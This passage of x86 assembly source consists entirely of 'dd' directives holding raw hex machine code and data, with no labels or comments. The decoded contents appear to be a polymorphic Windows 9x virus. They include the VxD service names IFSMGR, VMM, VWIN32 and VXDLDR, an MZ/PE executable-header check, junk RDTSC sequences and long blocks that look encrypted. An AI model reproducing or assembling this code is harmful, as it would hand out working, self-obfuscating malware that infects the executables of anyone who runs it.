		dd 7B806A9h, 6A000000h,	3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1D042444h, 45000000h, 921CC355h, 409E25CEh
		dd 0F3D9D7D8h, 5E9F8h, 0E74B0000h, 0F8424ECh, 0F85h, 0AE900h
		dd 0AAF10000h, 9FD08338h, 9CF7D77h, 104985C7h, 106A9h
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h
		dd 50400000h, 7257B9C3h, 658D8960h, 5606A905h, 0F6BE06BFh
		dd 8D615B5Ah, 0A94DC08Dh, 0A1B58906h, 6006A912h, 8BD2B70Fh
		dd 0A921298Dh, 0E1FF6106h, 8FDBD89h, 958906A9h,	6A90A49h
		dd 0C245C8Bh, 0E855h, 815D0000h, 0AC8A65EDh, 0B8838B06h
		dd 89000000h, 0AC6FF185h, 94858D06h, 8906AC88h,	0B883h
		dd 0C0335D00h, 52006AC3h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1504h, 0C3524200h, 6AFCB26Ah, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 7295C356h
		dd 59A0AF99h, 8D096494h, 6A92129h, 56006A60h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1D04h,	0C3564600h, 42A979D0h
		dd 0A293D198h, 858D2E05h, 6AC8D7Bh, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 1Ah, 3EC35040h, 3101B990h, 12E93134h
		dd 79000000h, 0D643AE5Ch, 58B12AE9h, 0D239A23Fh, 2D7F5A10h
		dd 0B5605028h, 0AE860FDh, 9C000000h, 0D733D67Dh, 0A11AAB0Ah
		dd 61605F12h, 4896161h,	0FF64F524h, 35h, 52006A00h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h
		dd 0B20D0DD6h, 8964A048h, 25h, 50006A00h, 3E8h,	0C3582000h
		dd 24448958h, 24448104h, 1D04h,	0C3504000h, 84F299FFh
		dd 23F0D2D9h, 0B160B4E7h, 6102B09Ah, 8E31858Dh,	6A06ACh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
		dd 7213CFC3h, 0FD9647F7h, 60190D2Ah, 8B572FB5h,	89615AC6h
		dd 10E90160h, 35000000h, 0B3AE4CAFh, 0E1C5E5FDh, 0AF8EE42Ch
		dd 0F9DFE50Fh, 16B185C6h, 6A4F06A9h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 17042444h, 40000000h, 55DEC350h
		dd 4E8B451h, 2A000000h,	50FEC874h, 0BE666052h, 59BF461Fh
		dd 615BCB47h, 5250310Fh, 870Fh,	310F0000h, 310F5250h, 585A585Ah
		dd 5050585Ah, 6840F52h,	50000000h, 5A310F52h, 50310F58h
		dd 9E952h, 0A0DF0000h, 94390CE9h, 0F938B84h, 0F525031h
		dd 5A585A31h, 8B585A58h, 60042444h, 6850Fh, 52500000h
		dd 585A310Fh, 0AF951AB8h, 8B6138h, 128F0Fh, 52500000h
		dd 310F5250h, 310F585Ah, 310F5250h, 585A585Ah, 4244489h
		dd 0F525060h, 0E8585A31h, 5, 9BC1493Dh,	5ECC8A31h, 8E0F5861h
		dd 1, 0B5B5FFF8h, 2906A910h, 0A928B1BDh, 0FC858D06h, 6A06AC73h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1C042444h
		dd 47000000h, 24FC357h,	0D9098C67h, 29659CEDh, 0A91F39B5h
		dd 950B6006h, 6A93545h,	10E9h, 0F5B50700h, 0E3673F83h
		dd 0D834125Bh, 2B7F681Bh, 0D0FF616Bh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Dh, 60C35545h, 5A9722FAh, 0B85E928Ch
		dd 0B98D3149h, 0E906A929h, 0DEh, 0E855006Ah, 3,	5DC35D20h
		dd 4246C89h, 4244481h, 17h, 2FC35545h, 600D68A9h, 81411CB8h
		dd 61D18B06h, 0C245C8Bh, 0E855h, 815D0000h, 0AC8D85EDh
		dd 55858B06h, 8906A901h, 0A910B585h, 21858B06h,	8906A927h
		dd 0A91DC985h, 4D858B06h, 8906A900h, 0A90EE585h, 0B185C606h
		dd 6A916h, 755785C7h, 6ACh, 858D0000h, 6AC8E31h, 0B88389h
		dd 335D0000h, 6AC3C0h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1C0424h, 52420000h, 523AEC3h, 48FF7885h, 6A8147h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
		dd 810F99C3h, 19h, 14E9h, 294E6F00h, 1364C148h,	666047B1h
		dd 0C4405A63h, 82A327CEh, 74BCF841h, 600012FFh,	6C9C58BAh
		dd 61CE8A53h, 58F64h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1B042444h, 46000000h, 0BCD2C356h,	0BAD86DB4h
		dd 0E8604C92h, 0Fh, 97416CE4h, 0E7A5BF73h, 0E82245D6h
		dd 66EA040Fh, 0D6BFD981h, 0F1BD895Bh, 6106A90Eh, 11ED8589h
		dd 0C48306A9h, 3D8D8904h, 6106A925h, 83E9h, 52515300h
		dd 5C8B5756h, 81661C24h, 0F5A4D3Bh, 6885h, 43B70F00h, 66D8033Ch
		dd 45503B81h, 57850Fh, 5B8B0000h, 245C0378h, 24738B1Ch
		dd 1C247403h, 207B8B56h, 31C738Bh, 320247Ch, 0FC202474h
		dd 41FFC983h, 1C245C8Bh, 5403178Bh, 0C7832024h,	84028A04h
		dd 3A0874C0h, 43E87503h, 3AF2EB42h, 5FE07503h, 0B70FE1D1h
		dd 48B0F04h, 24440386h,	5A5E5F1Ch, 8C25B59h, 0E9C03300h
		dd 0FFFFFFF1h, 34EBCA8Bh, 4D534649h, 20205247h,	20444B56h
		dd 20202020h, 204D4D56h, 20202020h, 4E495756h, 20203233h
		dd 4C445856h, 20205244h, 3 dup(0)
		dd 71CE9h, 8BB6000h, 5034DA10h,	5B53F280h, 6A6061h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
		dd 0A333E2C3h, 2C7B092Eh, 85C79EA6h, 6AC8F4Fh, 0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 71C35040h
		dd 376B748Ah, 0BA60F890h, 1A53AA68h, 5E9h, 36EA7E00h, 8B61B487h
		dd 55006AC6h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1604h
		dd 0C3554500h, 0E97D3D5Ch, 7, 783A34E4h, 0F77858Ah, 0CE9D8B7h
		dd 40000000h, 0EB394D3Bh, 20732C8h, 0C1E828EFh,	6A10E8h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
		dd 9805FCC3h, 2703DCCAh, 0E960529Eh, 13h, 0B09BFACBh, 3DBCD1EBh
		dd 0CB6DF99Dh, 0A1EC12C3h, 66125EECh, 6061FA8Bh, 0B9C4E081h
		dd 81660F07h, 61896FEEh, 8C8C166h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 18h, 0C35545h, 3610FE48h, 0AE960h
		dd 28710000h, 8076D58Ah, 0ACA70A2Bh, 0E6E326BEh, 85896119h
		dd 6AC8F53h, 0DE9h, 987F100h, 0DDC4E572h, 0BF47C6D3h, 6E90F29h
		dd 34000000h, 0D16F58C1h, 0CBC166B8h, 0FB83F908h, 9E850F40h
		dd 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 19042444h, 43000000h, 4C08C353h, 0A46C9931h,	0AE9h
		dd 67674300h, 0AA77865Bh, 8DC1558Eh, 0AC8F27BDh, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1404h, 0C3554500h
		dd 0E6806020h, 0F850FDFh, 0E9000000h, 0Ah, 76D8A93Fh, 0BB68F7CDh
		dd 0E961911Ah, 1D0h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 19h, 0DCC35545h, 0E19201A8h, 6820F03h, 60000000h
		dd 5856DA8Bh, 0DFB8361h, 69850Fh, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 140424h, 57470000h, 8DF901C3h
		dd 0AC8F2FBDh, 7E906h, 9DE70000h, 89037E6Bh, 0FE930h, 1B4C0000h
		dd 47AEF8ECh, 0E024D817h, 0B377552Ch, 152E9F4h,	6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h
		dd 8C8EC3C3h, 83E4C5E6h, 850F01FBh, 8Fh, 0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 18h, 3BC35242h, 0E522D59h
		dd 0CE9h, 0BB03D000h, 33E1A2D7h, 0A563E768h, 0DE9C3h, 9EEF0000h
		dd 3F8876Ah, 76DAC823h,	8DB8A45Fh, 0AC8F37BDh, 1A8B0F06h
		dd 60000000h, 0EE9h, 6220300h, 0D01088FAh, 6729C7C2h, 0BFEA463Dh
		dd 37424608h, 0BAE961h,	0E8600000h, 8, 0F608D9EAh, 0B68DDE43h
		dd 0F5A53B5h, 28Bh, 61616000h, 0C1816660h, 83618CBCh, 850F2AFBh
		dd 5Ch,	0F18B6660h, 3820Fh, 0CF800000h,	0BD8D614Ch, 6AC8F3Fh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0ECC35040h
		dd 0D7D1544Dh, 8D0F6AE8h, 1, 4EE9F9h, 8E0F0000h, 1, 7E960F8h
		dd 6E000000h, 65F0C472h, 0A6BE66A9h, 617737C3h,	0F27FB83h
		dd 27D85h, 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h
		dd 1C04h, 0C3524200h, 0B59BC557h, 0BC040921h, 47BD8D66h
		dd 0F506AC8Fh, 8F57BD89h, 6E906ACh, 3B000000h, 6E317B9Ch
		dd 0C88C66A7h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Ah,	64C35646h, 1427A904h, 8B6081E8h, 816660D0h, 0FA549D8h
		dd 6161F0BFh, 600324F8h, 0FAE38166h, 0DF8B666Dh, 0C00AF961h
		dd 17F850Fh, 8DF50000h,	0AC95A7B5h, 0A800F06h, 0E9000000h
		dd 5, 118BD202h, 4858B89h, 0E906AC96h, 0Bh, 53E2F800h
		dd 0CFD25E2Ch, 501E6734h, 38C0F60h, 66000000h, 850FDF8Bh
		dd 2, 8961DE8Bh, 800F2414h, 7, 18C0Fh, 0FF90000h, 0FE244C01h
		dd 83F85AF5h, 6A24C2h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 190424h, 52420000h, 0F79725C3h, 606A2ED2h, 38F0Fh, 0B70F0000h
		dd 0E961FCC0h, 0Ch, 1420895h, 68AE5364h, 9A99D798h, 0FC728966h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 8EC35646h
		dd 890F60F5h, 2, 820F5B52h, 6, 850Fh, 0C1610000h, 6A10CEh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h
		dd 396437C3h, 728966FCh, 57006A02h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1B04h, 0C3574700h, 265E98A9h, 0B47E623Ah
		dd 28C0F60h, 60000000h,	890F61h, 61000000h, 8D0F04CDh
		dd 14h,	0FE9h, 0ABF9B300h, 77873FE3h, 0C1997C75h, 2F7387CBh
		dd 0A6E9h, 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h
		dd 1804h, 0C3524200h, 0B65D50FAh, 0F606027h, 0CA81C7BFh
		dd 0DF4174Bh, 66F56061h, 61284BB8h, 4858B61h, 0E906AC96h
		dd 0Fh,	19E9D7E8h, 4659C27Ah, 878A624Eh, 8DA174D8h, 0AC95A7B5h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1504h
		dd 0C3534300h, 8DFC066Ch, 0AC4C5A85h, 53006A06h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h
		dd 1299DFE3h, 5E90D7Ah,	18000000h, 0D129D9CDh, 89F9D0FFh
		dd 0AC8F4F85h, 0E961FC06h, 0Eh,	49F27EAh, 0AFD2FEFAh, 201EA3E3h
		dd 858BFD6Ch, 6AC8F4Fh,	58506060h, 61CF8B66h, 6AC361FCh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1C042444h
		dd 40000000h, 13E6C350h, 0D449963Bh, 0F94D06CFh, 8E960h
		dd 0A6A0000h, 0BFC366C0h, 0BD8305F5h, 6AC9604h,	22850F00h
		dd 0FC000000h, 960485C7h, 13F06ACh, 12E90001h, 0CB000000h
		dd 88D31FE3h, 1BB2BE73h, 51C8209Ah, 5A9A55B1h, 19E971h
		dd 14E90000h, 82000000h, 7D845645h, 0DCB1668Eh,	0E8935790h
		dd 7338FA16h, 0CDEB316Eh, 20h, 74C00B00h, 0C708D37h, 8F57BD8Bh
		dd 8B906ACh, 0A6000000h, 75492275h, 30488BFAh, 8F539D8Bh
		dd 583B06ACh, 8B157F34h, 4D26BD3h, 18BCA03h, 8F4F8589h
		dd 4EB06ACh, 0C5EB008Bh, 4F858B61h, 0CF06AC8Fh,	0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0BEC35646h, 0EE92FCDh
		dd 66000000h, 0A0BD7F6Ah, 7D81ABE7h, 0D3E7569h,	0E8C08B65h
		dd 9, 32BF8A0Ah, 162904E4h, 81F85809h, 5B4DC0h,	76D28100h
		dd 0BB581695h, 16ADh, 0FFF18B66h, 0F7815F30h, 288F5294h
		dd 0BBDF5EBEh, 42C78162h, 664D0E37h, 81D655B9h,	61AA15F7h
		dd 0CE86020h, 83000000h, 7190E631h, 0F436197Dh,	8BEB22C6h
		dd 870F59F1h, 17h, 11E8h, 0FE855B00h, 3CB9F54Bh, 221F6C1Ah
		dd 0B7F1080Ah, 61584817h, 0E1815357h, 7BB3BBABh, 56008F5Ah
		dd 8359EEB6h, 4EB904E8h, 815EF59Fh, 1EBh, 8C850F00h, 0FFFFFFFh
		dd 48Ch, 0BABE6600h, 148E99Fh, 500000h,	540000h, 580000h
		dd 5C0000h, 600000h, 640000h, 680000h, 6C0000h,	0B00000h
		dd 0B40000h, 0B80000h, 0BC0000h, 0C00000h, 0C40000h, 0C80000h
		dd 0CC0000h, 0D00000h, 0D40000h, 0D80000h, 0DC0000h, 0E00000h
		dd 0E40000h, 0E80000h, 0EC0000h, 38h dup(0)
		dd 104A0000h, 50EB0058h, 858D00A1h, 6AC9725h, 0AE9h, 334DE500h
		dd 0EB69274h, 891930BBh, 0AC986585h, 0A58D2B06h, 0C606A90Ch
		dd 0A916B185h, 81665406h, 6898AEDAh, 0A3380E95h, 0E39F5FBFh
		dd 24348170h, 4D5A66BCh, 3800Fh, 0B70F0000h, 0B5B5FFDEh
		dd 8A06A910h, 0FC858DCAh, 0BB06AC73h, 45B97B4Fh, 0BF0FD0FFh
		dd 698589F8h, 0BB06AC98h, 1894AFEDh, 3BE9h, 56F48A00h
		dd 9865B58Bh, 68906ACh,	98658583h, 5E0406ACh, 0B58D60C3h
		dd 6AC9725h, 6A560FEBh,	0FF36FF00h, 0AC986995h,	0C6835E06h
		dd 3E8304h, 0C361EC75h,	0B533C7B5h, 6A916F9h, 98F0858Dh
		dd 8B5606ACh, 85895BFAh, 6A92E95h, 103E9h, 1D330200h, 55C9722h
		dd 0A188838Ah, 0E0A1D76h, 538FDD7Ah, 2F6D3733h,	773D557Dh
		dd 7DD57F2Dh, 3D577DD7h, 75DF6DF7h, 7DD773D5h, 0EDF73D57h
		dd 5375D55Fh, 2F6D3733h, 773D557Dh, 7DD57F2Dh, 1E577DD7h
		dd 75DF6D17h, 60206020h, 0E0E02020h, 68AC2060h,	0E4A9F77Bh
		dd 0B2D020A1h, 0B7EDA693h, 0F291B99Dh, 6020ACA3h, 60206020h
		dd 0E0E02020h, 53752060h, 2F0D0A33h, 6020557Dh,	60206020h
		dd 362BA728h, 60C950F0h, 0A1EFB6F3h, 0B4E0F796h, 92B8E3A7h
		dd 0E9B3F471h, 60F76DB9h, 60206020h, 20206020h,	1ADF6DF7h
		dd 7DD77335h, 0EDF73D57h, 5375D55Fh, 2F6D3733h,	773D557Dh
		dd 7DD57F2Dh, 3D577DD7h, 75DF6DF7h, 7DD773D5h, 0EDF73D57h
		dd 5375D55Fh, 2F6D3733h, 0A1E357Dh, 3407000Eh, 0A0A3D25Dh
		dd 1E59h, 7 dup(0)
		dd 0D21E9h, 9CBD6800h, 9EE906ACh, 68FFFCE5h, 6AC9DB8h
		dd 0FCE594E9h, 9EAC68FFh, 8AE906ACh, 68FFFCE5h,	6AC9F65h
		dd 0FCE580E9h, 9FD868FFh, 76E906ACh, 68FFFCE5h,	6ACA07Eh
		dd 0FCE56CE9h, 0A20E68FFh, 62E906ACh, 68FFFCE5h, 6ACA337h
		dd 0FCE558E9h, 0A41768FFh, 4EE906ACh, 68FFFCE5h, 6ACA4E6h
		dd 0FCE544E9h, 0A5B268FFh, 3AE906ACh, 0D5FFFCE5h, 640A073Dh
		dd 0F29895C7h, 781E1B59h, 3A9A6DAh, 0FF3A3769h,	89BB5525h
		dd 124AE68Ch, 9AD46F15h, 2658F79Dh, 0B13FD329h,	0F5F77B45h
		dd 33C2E053h, 3CD06294h, 0A41548AEh, 45A758FCh,	366E0A90h
		dd 6E831DA3h, 0A41616E0h, 22D182FCh, 396B098Fh,	0D21A7DA6h
		dd 1863F544h, 0FCD47FBDh, 68CD2F81h, 0EA1CBB1Ch, 34D058h
		dd 0C9F97F9Eh, 0EC7FB150h, 74FC8E3Dh, 8E14A7D9h, 0AA0CBBF1h
		dd 28BD68F6h, 51D9F27Eh, 3FEE81B3h, 5D9330F6h, 0EC9BFABCh
		dd 1F34D359h, 0FA856591h, 8B6BF9F5h, 15F5FA85h,	0AC5B0C64h
		dd 386A09AFh, 0F17F13A5h, 0F5FA8605h, 3A6C0B93h, 467B298Bh
		dd 0E5F5FA85h, 56F55AA2h, 6F0A9224h, 821CA235h,	5D0CBB4Eh
		dd 9736DCFBh, 0AD4CD265h, 0C461E97Bh, 0EA4CFB8Eh, 175DA035h
		dd 0E2DF11B0h, 0F6F33BFh, 51D62A0h, 33220000h, 48D06294h
		dd 36E578ACh, 15E016A4h, 0FC0FCA4h, 0D372F8ADh,	679D36BEh
		dd 5D9925D4h, 3BFCA415h, 0FE49DB8Ah, 0DDB7A6AAh, 8BAA0C53h
		dd 526D8ED9h, 0CB4A5090h, 0FE1E169h, 0DDEEEF7Dh, 0C850F27Eh
		dd 1791F32Dh, 7B47D366h, 26F5FAC1h, 8895E074h, 72688512h
		dd 0F643B33Fh, 0AC5DF5FAh, 0F0528A26h, 3ED2218Bh, 0FAF646B0h
		dd 3FA152F5h, 0FE4D81Ah, 20BDA0h, 537D0000h, 61EF816Fh
		dd 0F27F2330h, 28B447F8h, 0F5FB019Ah, 7A58A407h, 0A00FEB78h
		dd 0D81Dh, 9433DD00h, 0AF49CF62h, 0BD5CE275h, 15DC1AA8h
		dd 0F482FCA4h, 0FCA41602h, 0E495ED9Eh, 7D1CA235h, 149C4E4Bh
		dd 5100497Bh, 0EAFA903Bh, 40913FA1h, 5AFCA40Bh,	0E68C89BBh
		dd 0FB831547h, 0EC9B2E60h, 536FD58Ah, 387D0B9Dh, 0E8F27F2Eh
		dd 801DA537h, 43C9E84Ah, 51DF717Fh, 0EBC7A24Dh,	92D069F1h
		dd 74EE50FFh, 99D31C3h,	0A1807B7Bh, 127425FCh, 294D06Ah
		dd 14A7DD7Ah, 32E40365h, 913060E7h, 79FFF728h, 9840A2E0h
		dd 0F84BC2FEh, 0AB890B73h, 9D8F516h, 58F00000h,	0DC791F1Ch
		dd 6A03A9A6h, 0F7953B38h, 8822C8C5h, 10144F4Ch,	9794D06Ah
		dd 221F55F1h, 0B2AFE17Ch, 3E3B6D0Ch, 30C654E8h,	70F5F77Ah
		dd 9933DFFDh, 25C46A67h, 3FCD61F3h, 0FCA415B7h,	0AFCE30E1h
		dd 0AA6F5371h, 9241D410h, 0CEC351E3h, 9AF27F23h, 35CF57E9h
		dd 57B968FBh, 0EF8810A2h, 117322B5h, 0FB015F63h, 95DF42F5h
		dd 0FEB3DB5h, 0D258A0h,	33180000h, 3DCF6294h, 78111AB5h
		dd 49F8A73Ah, 0FDA507B6h, 129E3163h, 0FCA411BFh, 76083AD9h
		dd 12A254E2h, 4DFEFCA4h, 8726CCEBh, 0A12FC355h,	0FCA41255h
		dd 7B309243h, 0B143AD15h, 7F309223h, 6CFA8EF2h,	0F5FAEE8Ah
		dd 24B66516h, 37CAFE9Ch, 81072688h, 8F1DAF41h, 0EBC79D1Ch
		dd 35BD4F00h, 0FEF8869Bh, 9AFCA17Fh, 8B3D3AE9h,	7F8D69F7h
		dd 5A0BFCA1h, 0A3B650F8h, 903FD204h, 0B1E16AE1h, 2BC0890Bh
		dd 8DD0Ah, 2153EB00h, 0ABE17E24h, 356F08AEh, 0C0F49238h
		dd 51831DC3h, 6F0B1954h, 0F89E9BD5h, 852B285Ch,	15BBB8EAh
		dd 0F1474476h, 7927CF5Dh, 0FE71F5F7h, 59327E0h,	0FCA415F1h
		dd 160FE775h, 0D889FCA4h, 0C56DCF80h, 56FCF92Bh, 4A8885B7h
		dd 0F1059327h, 0AFFCA415h, 55F49CFEh, 1C4CEF89h, 19EB68Eh
		dd 0DB6D1CCBh, 17A5BA53h, 0FCA345DFh, 0F75908B9h, 0EB1DBC42h
		dd 67BD1EEEh, 7503955Bh, 0F27E509Ch, 7499216Ch,	0F21F35D6h
		dd 0FF8D3B43h, 4BF3B61Ah, 53E77977h, 1EF1008h, 0F97F06A8h
		dd 0E291245Eh, 0E333D280h, 5203FA1Dh, 876959BFh, 23D361F5h
		dd 7DFDDBC2h, 77AD46CCh, 1FD335E4h, 0AB2D2D91h,	2FBD51F3h
		dd 43FEEC7h, 0FACCB7E0h, 9BF3450Ch, 93427413h, 7406B731h
		dd 38BE4CE0h, 68043FCCh, 0EAD55B7h, 9A39DFDCh, 6D7EF168h
		dd 0A83D716Dh, 7E987h, 0D47DF00h, 97CD6A10h, 295BF49Ah
		dd 0B4E8862Ch, 3D7711B7h, 5B1F0540h, 0EC928FC1h, 791F1C50h
		dd 1A7A4DEh, 0DD333062h, 783BBB49h, 0F265F5F7h,	69F27D4h
		dd 912456F5h, 29D133E2h, 5FC5588Ah, 0DA1CAA63h,	0C6FCA415h
		dd 0C1F38F15h, 73F28012h, 3F27F2Dh, 0F3CF5552h,	1CDD6BFDh
		dd 52EBCA92h, 0FA40F507h, 3294FFEFh, 0ED7507B8h, 791F1C4Eh
		dd 8315A8DAh, 0D226BF38h, 0A90B0A14h, 0DC78A121h, 0B76615A8h
		dd 35FB9725h, 9C4DF26Eh, 0B1E3820Ah, 3D6F0EB4h,	45CD18AAh
		dd 1C904AA6h, 15AD3597h, 52BB49DBh, 0EEBD5AFh, 1FB2EA86h
		dd 0DD4AC170h, 8C890943h, 730D6F7h, 980000h, 8421C7C4h
		dd 12AB514Eh, 9F3DE3E0h, 30CA706Dh, 68BCF7F4h, 3F3C7812h
		dd 0CAC7FD99h, 5A578924h, 0E6E315B4h, 886EFC90h, 18F5F776h
		dd 6F5387A5h, 2961EF81h, 0FFF273ACh, 15A8DA77h,	9D25B766h
		dd 880E32FEh, 2464183Bh, 12C15488h, 9A22B463h, 8332C5FFh
		dd 0BD5C0221h, 3092F88Bh, 0C5A02EC0h, 0D1EBD263h, 0F4C2A920h
		dd 4CE1890Ch, 6BD2Bh, 41730B00h, 0CB019E44h, 558F28CEh
		dd 0E014B258h, 71A33DE3h, 8FEB3974h, 18BEBBF5h,	0A54B487Ch
		dd 35DBD80Ah, 11676496h, 7707EF7Dh, 1E91F5F7h, 9E6F5300h
		dd 0D8DEAF53h, 0BC48CDE3h, 0FCA3743Ah, 932FB566h, 9220B261h
		dd 0F2730967h, 74FC8E3Fh, 0A6A3D5h, 0A9C2F61h, 19ACE882h
		dd 4280086Ah, 6F023CD7h, 6BC4B26h, 0CD7CD9AFh, 94FE8C1Eh
		dd 9AEBC6F5h, 0FBDC964Fh, 4AAC96C5h, 58D1FD0h, 91373466h
		dd 0C72DC0F2h, 0D563F5FBh, 0F27E2A38h, 903993DEh, 20690B56h
		dd 1C9344BEh, 8FA0035Bh, 1794B54Ah, 0B1000006h,	38DEDB19h
		dd 0C66C699Bh, 54FAF72Dh, 0DF8582B6h, 0D30E0B45h, 558F2951h
		dd 0DE16B258h, 6EA03BE1h, 0FA2CCB71h, 8513A7FDh, 0F5F77571h
		dd 339EBC2Fh, 85D06294h, 29BB056h, 0DA0E983h, 9DA954CAh
		dd 0DD63187Ah, 0E67A0C3Eh, 0A3529E58h, 0E749FAFCh, 708042C8h
		dd 618D50DEh, 38E9F27Eh, 15D65BA6h, 30F2023h, 0D25AECA1h
		dd 0EB99FB39h, 0F5FA9BD7h, 3D1D67CAh, 0A00F89B5h, 366A048Ch
		dd 6A74D4h, 27340000h, 6DCF019Fh, 8113DDE5h, 8F2260F9h
		dd 85BF5AE0h, 0B0E16F23h, 3EF27F23h, 1DA1CAAh, 15C6F5FBh
		dd 0F68839B3h, 0AB46DEABh, 31BFE33Fh, 0F5FAC7C5h, 117322D3h
		dd 0C7F2D05Ch, 0AC48F5FAh, 1DCC06A1h, 366A048Ah, 84F035A3h
		dd 0B549FB1Ah, 0FAC7CF27h, 0B618C9F5h, 0CB27EB51h, 0CAA00FB1h
		dd 0F3h, 0BFF58E16h, 0DB1B7D2Ch, 0D0629433h, 0CED7C185h
		dd 0D1331BF4h, 0C8FC961Ch, 0DE10AF35h, 0F426C54Bh, 73DDA62h
		dd 0F7DA86A5h, 15FCA411h, 1303F381h, 0EC9DFCA4h, 1143E28Ah
		dd 9DCF6E14h, 56F0780Ah, 76D8871Ah, 8A1CD4EEh, 7F10FDFCh
		dd 0FBF8A9F2h, 32CC4D75h, 23226BFEh, 75596E61h,	6FFD8F3Eh
		dd 0F5FA3B87h, 1FB16011h, 8D69F78Bh, 0BF5FA3Bh,	0E94AF85Ah
		dd 0ADEBC6E8h, 43E26AFCh, 0B15EA077h, 9342A9DBh, 9EE97D31h
		dd 0EEA175DCh, 0CB73D5A9h, 5002FF31h, 1160DC05h, 0BC1E0F87h
		dd 0CF467A14h, 890B5A38h, 873D5EF3h, 41000004h,	0C86E6BA9h
		dd 56FCF92Bh, 0E48A87BDh, 6F151246h, 639E9BD5h,	0E51FB9C1h
		dd 6EA642E8h, 0FE30CB71h
		dd 8ABC5B01h, 15A3378Dh, 0F5F773E1h, 332E4CBFh,	0B86A6799h
		dd 15609624h, 8F40FCA4h, 0A4376D09h, 4CEB93F5h,	27DF1D1Ah
		dd 68CA049Fh, 7C0EE2E0h, 0F7C360E8h, 74F73DDAh,	3F88371Dh
		dd 0F2C2263h, 0C472D479h, 0F27E4BCDh, 0C955E899h, 0F5FA49F9h
		dd 1BFF45A8h, 0A00F33D7h, 0CD961F6Ah, 81CA029Eh, 0B352EA82h
		dd 1070D281h, 0D8h, 629433D0h, 75AF49CFh, 117B56E2h, 0FE9DFCA4h
		dd 732258F5h, 0FF31D076h, 0AB4BD96Dh, 0F5FCA412h, 9B2DE244h
		dd 6F442250h, 57B9CFF2h, 3763F3CFh, 4C9C7070h, 0B03ED07Fh
		dd 0F27E9249h, 6B55D823h, 0AA6FDF3Ch, 812B485Eh, 33B9684Ah
		dd 23D26597h, 999647C1h, 0B7C05FE7h, 0D83AE91Bh, 0D9B7250h
		dd 0F5FA5FE9h, 0C55706B7h, 0C70E1F37h, 36C879EBh, 4EE014AEh
		dd 0ECA2CBAh, 42D6FCA2h, 0A20E42B4h, 0FEAD5EFCh, 299D64B5h
		dd 399B9E34h, 0A6DA741Ah, 0B24622Fh, 93B44989h,	35Eh, 9592D26Ah
		dd 232052EFh, 0B1AEE47Dh, 3E3B6D0Bh, 0C5C2FE98h, 46E09A8Ah
		dd 0CB670D0Ah, 5BF69C99h, 0E7862C29h, 0CE62B8B5h, 0F772B640h
		dd 516FE2F5h, 0F1909933h, 6D1310BFh, 619F9CCEh,	0F1059327h
		dd 0AFFCA415h, 55F49CFEh, 6B0A9023h, 6D6C3C39h,	53E50BB7h
		dd 0FD622ECBh, 488C48B5h, 0D75DF09Fh, 0C4730638h, 71FFB315h
		dd 0F27E6FA0h, 0FBAFB768h, 6F1DD967h, 0CA7BF5FAh, 0D960BA68h
		dd 18AA4A40h, 23BE46D8h, 35D1A8F1h, 0A26A0980h,	3BFE8C40h
		dd 0B14FE251h, 4B678F1Dh, 0E631586Eh, 0B4C10E8Ch, 3A9C4B8Ch
		dd 0EA7C0FC0h, 8CFCC39Fh, 0E12AD669h, 0C6422205h, 73FB5D68h
		dd 810FA14Fh, 4E3E793Dh, 0D058EA9Bh, 0E79BFD37h, 918EC05Fh
		dd 83BD57DFh, 0A8DA7921h, 905C6231h, 8BAC412Bh,	27Eh, 7572B24Ah
		dd 30032CFh, 918EC45Dh,	1E1B4DEBh, 0A5A2DE78h, 26C0BA6Ah
		dd 0AB47EDEAh, 3BD67C79h, 0C7660C09h, 0AE429895h, 0F771D620h
		dd 314FC2F5h, 0CF629433h, 5975969h, 7F367E77h, 6C691AF2h
		dd 0D1F1339Ch, 0AEF98D1Fh, 6C827DBFh, 0EF8D13FFh, 197B2ABDh
		dd 0D5B4A66Bh, 69428EBh, 0FCA39BF0h, 688E1CB0h,	38FCA39Bh
		dd 0B352D887h, 0DD3FEE81h, 0FCAAB263h, 3811FEC2h, 0AC3EB210h
		dd 16C8A18h, 7B2C4016h,	19B5BE9h, 54054016h, 55B03EF2h
